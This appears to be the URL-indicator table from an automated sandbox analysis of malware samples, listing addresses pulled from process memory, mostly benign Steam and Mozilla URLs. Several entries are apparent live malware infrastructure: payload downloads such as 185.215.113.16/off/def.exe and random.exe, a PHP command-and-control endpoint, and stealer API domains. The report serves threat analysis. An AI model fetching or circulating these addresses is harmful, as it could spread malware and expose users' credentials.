https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883867156.00000000010D0000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883971948.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://exslt.org/common	firefox.exe, 0000001C.00000002.3208584515.0000026829A8A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com/v1i	firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000001C.00000002.3216509308.000002682B62E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&	file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2222905597.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2223063752.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222836182.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2899443498.0000000005841000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898618121.0000000005844000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898704661.0000000005841000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208378374.000000000064D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208508823.000000000064F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208350186.00000000006AA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883867156.00000000010D0000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.0000000001080000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993784315.0000000001102000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2967613756.00000000010B9000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883971948.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958718238.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883971948.00000000010D1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstat	ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993784315.0000000001102000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2967613756.00000000010B9000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958718238.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp	file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.com/	firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3271841943.0000026831F28000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mo	firefox.exe, 0000001C.00000002.3244804449.000002682FA1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3247192671.000002682FE03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001C.00000002.3243296579.000002682F962000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F80B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://checkout.steampowered.com/	ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com/v1i#	firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe	ee8d47a049.exe, 0000000C.00000003.3086208554.00000000057F1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3271841943.0000026831F28000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ebay.comP	firefox.exe, 0000001C.00000002.3290440543.00003793D3B04000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshotshttps://screenshots.firefox.com/	firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli	ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://fb.me/use-check-prop-typesG	firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	false		unknown
https://www.amazon.com/Z	firefox.exe, 0000001C.00000002.3289304414.000015D2F1003000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/apiBg==	file.exe, 00000000.00000003.2291920296.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2284921931.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2285534089.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2279712308.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2284961748.00000000006A5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.comnetwork.proxy.backup.socks_portbrowser.urlbar.suggest.topsiteschrome:	firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://fb.me/react-polyfillsP	firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	false		unknown
https://steamcommunity.ca	ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://fb.me/react-polyfillsO	firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	false		unknown
https://help.steampowered.com/en/	file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://smartblock.firefox.etp/facebook.svgwebcompat-reporter%40mozilla.org:1.5.1	firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://yandex.com	firefox.exe, 0000001C.00000002.3290440543.00003793D3B04000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://store.steampowered.com/acc	file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222112798.00000000006A6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.tsn.caZ	firefox.exe, 0000001C.00000002.3289304414.000015D2F1003000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199555514.0000000000618000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.000000000107A000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034649856.000000000114A000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3052863545.000000000114A000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/reca	ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993784315.0000000001102000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2967613756.00000000010B9000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958718238.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/m	skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/l	skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.bellmedia.c	firefox.exe, 0000001C.00000002.3249551937.00000268303A5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis	file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com	firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.zhihu.com/	firefox.exe, 0000001C.00000002.3226223465.000002682E05D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2248812856.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2925089274.000000000583E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2248812856.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2925089274.000000000583E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpindows	36c3130eac.exe, 0000000D.00000002.2997022588.000000000078B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001C.00000002.3275406408.0000026832214000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/workshop/	ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	ee8d47a049.exe, 0000000C.00000003.2926303044.0000000005917000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causeshttps://support.mozilla.org	firefox.exe, 0000001C.00000002.3242551338.000002682F817000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 0000001C.00000002.3265464725.0000026831898000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 0000001C.00000003.3085509496.000002682E210000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/usergetValue/preffedBlockRegions	firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/luma/random.exe6139ded	skotes.exe, 0000000A.00000002.3448009967.00000000011AE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=e	ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com	ee8d47a049.exe, 0000000E.00000003.3034649856.000000000114A000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3052863545.000000000114A000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&	file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.olx.pl/	firefox.exe, 0000001C.00000002.3226223465.000002682E05D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://clearancek.site:443/apii	ee8d47a049.exe, 0000000E.00000003.3035132023.0000000001155000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001155000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199555514.0000000000618000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034649856.000000000114A000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3052863545.000000000114A000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001C.00000002.3275406408.0000026832214000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.steampowered.com/	ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
